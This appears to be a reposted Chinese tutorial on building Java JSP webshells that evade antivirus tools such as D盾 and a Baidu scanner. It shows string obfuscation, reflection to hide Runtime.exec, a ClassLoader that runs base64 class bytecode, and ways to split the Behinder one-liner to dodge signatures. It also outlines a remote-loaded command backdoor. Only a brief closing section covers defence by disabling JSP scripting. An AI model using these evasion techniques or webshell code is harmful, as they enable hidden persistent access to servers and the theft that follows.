java webshell jsp 木马攻防 简介 |
您所在的位置:网站首页 › 冰蝎作者 › java webshell jsp 木马攻防 简介 |
目录 基础知识 JSP标签 JSP中的字符串混淆方式 类反射 类加载 对命令执行JSP一句话免杀 原型 类反射绕过 寻找其他类 对于冰蝎JSP一句话的免杀 免杀D盾 免杀百度scanner 总结 防范方法 其他类型的webshell容易免杀的一个主要原因是有eval函数,能够把我们的加密几层后的payload进行解密然后用eval执行,从而绕过杀软的检测。 然而由于JSP的语法没有所谓的eval函数,不像php等语言那么灵活,变形困难,所以JSP的免杀马比较少,相关的文章也比较少。 基础知识 JSP标签在JSP页面中嵌入java代码,首先要了解一下JSP标签的基本知识。 页面指令,设定页面属性和特征信息 java代码片段,不能在此声明方法 java代码声明,声明全局变量或当前页面的方法 Java表达式 JSP中的字符串混淆方式ASCII String a=new String(new byte[] { 121, 122, 100, 100, 77, 114, 54 }); System.out.println("ASCII: "+a);HEX import javax.xml.bind.DatatypeConverter; String b= new String(DatatypeConverter.parseHexBinary("797a64644d7236")); System.out.println("HEX: "+b);BASE64 import sun.misc.BASE64Decoder; String c = new String(new BASE64Decoder().decodeBuffer("eXpkZE1yNg==")); System.out.println("BASE64: "+c);首先要知道为什么免杀需要用到类反射 类反射可以把我们想要调用的函数或者类的名字放到一个字符串的位置。 此时也就相当于我们实现了php中的变量函数,就可以利用base64编码或者hex编码等来混淆关键函数。 使用反射调用对象方法的步骤 Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例Constructor appleConstructor = clz.getConstructor(); // 根据 Class 对象实例获取 Constructor 对象Object appleObj = appleConstructor.newInstance();// 使用 Constructor 对象的 newInstance 方法获取反射类对象Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象setPriceMethod.invoke(appleObj, 14); // 利用 invoke 方法调用方法如果没有构造函数的情况下就更简单了 Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例Object appleObj=clz.newInstance();// 直接获得clz类的一个实例化对象Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象setPriceMethod.invoke(appleObj, 14); // 利用 invoke 方法调用方法从图中可以看到,我们用类反射调用了Apple类中的setPrice跟getPrice方法。 其实也可以压缩一下写成一行的形式 Class.forName("test.Apple").getMethod("setPrice",int.class).invoke(Class.forName("test.Apple").newInstance(),20);不过当然正常人是不会这么写的。 类加载在LandGrey大佬的文章中提到的类加载的意思是将获得Class对象的方式由 Class rt= Class.forName(“java.lang.Runtime”); 改成 Class rt = ClassLoader.getSystemClassLoader().loadClass(“java.lang.Runtime”);的形式。 但是冰蝎作者在利用动态二进制加密实现新型一句话木马之Java篇中对于类加载是直接传送二进制字节码。 这也是为什么冰蝎能够实现不到1KB的JSP一句话的原因:冰蝎可以做到动态解析二进制class字节码。 学过java的同学应该都知道,java执行代码的时候都要先编译生成.class字节码文件,才能被jvm所执行。 那么也就是说,如果我们能够实现任意class文件的加载,也就相当于实现了php中的eval函数。 我们就用冰蝎中的例子 首先写一个命令执行的类,调一个calc,但是我们不写主函数,也就是说我们先不让他运行。 package test; import java.io.IOException; public class calc { @Override public String toString() { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return "OK"; } }在项目里生成之后,在out目录下可以看到编译好的二进制class文件。 然后把它base64,保存到文件里,去除多余的换行 接着生成一个loader类,用于加载我们的class文件 package test; import sun.misc.BASE64Decoder; public class loader { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { String classStr="xxxxxxxxxxxxxxxxx"; // class的base64编码 BASE64Decoder code=new sun.misc.BASE64Decoder(); Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString()); } }运行后成功调用计算器。 我们用类加载的方式成功执行了系统命令。 对命令执行JSP一句话免杀JAVA执行系统命令的核心就是Runtime.getRuntime().exec(cmd) 原型经过二分法分析,发现特征码是在Runtime.getRuntime().exec这一句。不知道什么是二分法分析的看我以前的两篇webshell免杀文章。 然后发现D盾对于JSP中只要有exec就会报一级。 那么我们就可以利用类反射的方法来隐藏掉exec函数。 类反射绕过 package test; import java.lang.reflect.Method; import java.util.Scanner; public class Test { public static void main(String[] args) throws Exception { String op = ""; Class rt = Class.forName("java.lang.Runtime"); //加载Runtime类 Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法 Method ex = rt.getMethod("exec", String.class); //获取exec方法 Process e = (Process) ex.invoke(gr.invoke(null), "cmd /c whoami"); //invoke 传参调用 //以下代码是获取输出结果 Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\A"); op = sc.hasNext() ? sc.next() : op; sc.close(); System.out.print(op); } }可以看到成功执行了whoami命令 那么接下来就是把他放到jsp里面。 利用base64编码 可以bypass D盾跟百度scanner,下面的都是免杀的,就不截图了。 利用ASCII编码 利用HEX编码 寻找其他类java中与执行命令相关的主要有两个类 java.lang.Runtime java.lang.ProcessBuilder我们上文中反射了Runtime类,那么同样我们也可以反射ProcessBuilder类。 原理是相同的,此处不再具体举例实现。 对于冰蝎JSP一句话的免杀冰蝎JSP一句话的实现是我最佩服的一点,也是我今后想要加入到蚁剑中的功能。 由于冰蝎中改写的是Object类,所以几乎全部都是非敏感函数。目前各大杀软查杀的规则也并不是特别完善,其实特别容易免杀。 免杀D盾经过二分法查找特征码,D盾对于冰蝎的查杀规则是这一句 new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);为了简洁冰蝎作者把很多东西都写到一行里了。那么我们就把其中的变量拆出来试试。把base64解密那一块给抠出来,实例化给decoder变量。 就已经可以过D盾了 经过测试随便拆其他的也可以,再拆一个uploadString 也可以免杀 拆最后一句免杀不了scanner 经过测试scanner识别冰蝎的特征在这一句 c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));那就再把这一句给拆了 这时候就可以两个都免杀了 其实还有很多方式值得去探索,就比如命令执行一句话那里。 我们可以在shell里只放类加载函数,而不含具体的payload。 然后写一个命令类,类里接收一个String类型的参数,作为所要执行的cmd语句。然后把它编译成二进制class,通过GET型或者POST型传过去。 其中cmd参数也从GET传入,经过shell发送到命令执行类中,就相当于实现了php中形如 http://test.com/shell.php?func=system&cmd=whoami 的回调函数后门。 其中有一个师傅已经实现了菜刀的远程加载类,文章地址:http://p2j.cn/?p=1627 不过所有的jar包都放在作者的博客上,也就是说每个shell都会先访问他的博客,还是建议自己搭建。 套路都是差不多的,自己多动手,想一想,你肯定能做的比我更好。 防范方法前提条件:Java Web 应用没有在 JSP 中直接使用任何 Java 代码,否则会对应用本身造成影响。 *.jspx *.jsp true配置生效后,将不允许 Jsp / Jspx 文件中包含任何 scripting ,包括: 与 与 与包括这些的 Jsp / Jspx 文件在编译的时候将产生编译错误。目前能看见的 Java 的 webshell 全都离不开这几种语法,所以应该可以说是能够禁止所有目前已知的 Java WebShell。
|
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |